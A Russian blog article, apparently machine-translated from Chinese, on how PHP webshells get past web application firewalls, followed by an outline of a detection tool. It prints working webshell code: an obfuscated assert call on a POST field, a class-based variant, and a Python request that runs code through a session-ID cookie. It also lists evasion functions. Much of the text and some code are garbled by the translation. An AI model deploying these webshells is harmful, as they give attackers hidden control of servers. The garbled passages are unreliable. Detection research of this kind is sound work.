Рубрики
Uncategorized

PHP обычно известен как веб-оболочка waf, и это самый простой способ ее обнаружения

Автор оригинала: David Wong.

предисловие

Веб-оболочка перед тем, как убить пользователя, оставила дыру в новом образе мышления, не нашла способа найти все конкретные переменные, затем найти печать, изучив метод всех количеств, и снова изучила веб-оболочку PHP в обход метода WAF, чтобы убедиться, что этот метод является разумным.

Если есть какая-либо ошибка, пожалуйста, укажите, спасибо! Черепаха: спасибо

В этой статье я внезапно подумал о способе тестирования webshell, который заключается в том , чтобы сначала получить все переменные в текущем файле (если вы не понимаете, пожалуйста, сначала проверьте предыдущую статью), а затем выполнить статическое обнаружение в соответствии с обычной библиотекой.

Хотя я думаю, что этот метод не будет обнаружен полностью (каждый механизм обнаружения не может гарантировать всю эффективность), я чувствую, что он очень прост, практичен и не так глубок.

Чтобы проверить этот механизм обнаружения, сначала взгляните на текущий способ, которым веб-оболочка PHP обходит WAF.

Обычная веб-оболочка PHP, которая обходит WAF

Искажение строки

Регистр, кодирование, перехват, замена, конкатенация специальных символов, нуль, возврат каретки, подача строки, специальные помехи в строках

php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

Так как функция записи

Использование функции assert ()

Функция обратного вызова



call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()

класс

Магическими методами, разрушать(), строить()

a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

Использование внешних файлов

Curl, fsockopen и т. Д. Делают сетевой запрос в сочетании с file_get_contents

Нет персонажа, персонажа лошади

Кодирование, xor, самоувеличение

Заголовок специального запроса

Использование getallheaders ()

Глобальная переменная

Getenv (), array_flip(), get_defined_vars(), идентификатор сеанса()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP путает шифрование и дешифрование

Phpmyadmin, например

Является ли имя функции, имя переменной “искаженным” и изменение в любом месте приведет к невозможности запуска файла. Конкретные могут посетить: https://www.phpjiami.com/

Способ обнаружения веб-оболочки PHP

Методы обнаружения веб-ячеек, которые я знаю до сих пор, включают:

  1. Машинное обучение определяет веб-оболочку: например, степень путаницы, самое длинное слово, индекс совпадения, функцию, степень сжатия и т. Д
  2. Динамическое тестирование (песочница)
  3. Обнаружение веб-оболочки: агент на основе режима трафика
  4. Обратный алгоритм + веб-оболочка обнаружения статического соответствия: например, проверка веб-оболочки D shield
  5. Проверьте ввод и выход файла

Примеры показывают

Возьмем в качестве примера веб-сайт PHPjiami, где 2.php является ли троянским конем phpjiama

Вы можете увидеть очевидные правила веб-оболочки, которые можно легко обнаружить с помощью статических правил, обычных правил и так далее.

Простая идея обнаружения

Идея тестирования:

Загрузка файлов -> файл содержит -> возвращает все переменные файла во временный файл -> статическое правило соответствует временному файлу -> возвращает результат сопоставления

├── __init__.py ├── конф │ ├── __init__.py │ ├── config.py ├── сердечника │ ├── __init__.py │ ├── all_check.py │ ├── data_mysql.py │ └── file_inotify.py ├── Либ │ ├── __init__.py │ └── semantic_analysis_api.py ├── тест │ ├── __init__.py │ ├── file_md5_move.py │ ├── os_check.py │ ├── random_file_test.py │ └── … ├── веб │ ├ ─ ─ статический │ │ ├ ─ ─ css │ │ │ ├ ─ ─ main. css │ │ ├ ─ ─ изображения │ │ │ └ ─ ─ background.jpg │ │ └ ─ ─ js │ │ └ ─ ─ upload.js │ ├ ─ ─ шаблоны │ │ ├ ─ ─ │index.html ├── upload_file.php │ └ ─ ─ include_file_to_tmp.php ├── webshell_check.py

Conf содержит статические правила обнаружения, такие как следующие

заключение

На этом эта статья заканчивается. Я надеюсь, что содержание этой статьи может иметь какое-то справочное значение для вашей учебы или работы. Спасибо вам за вашу поддержку в развитии peer.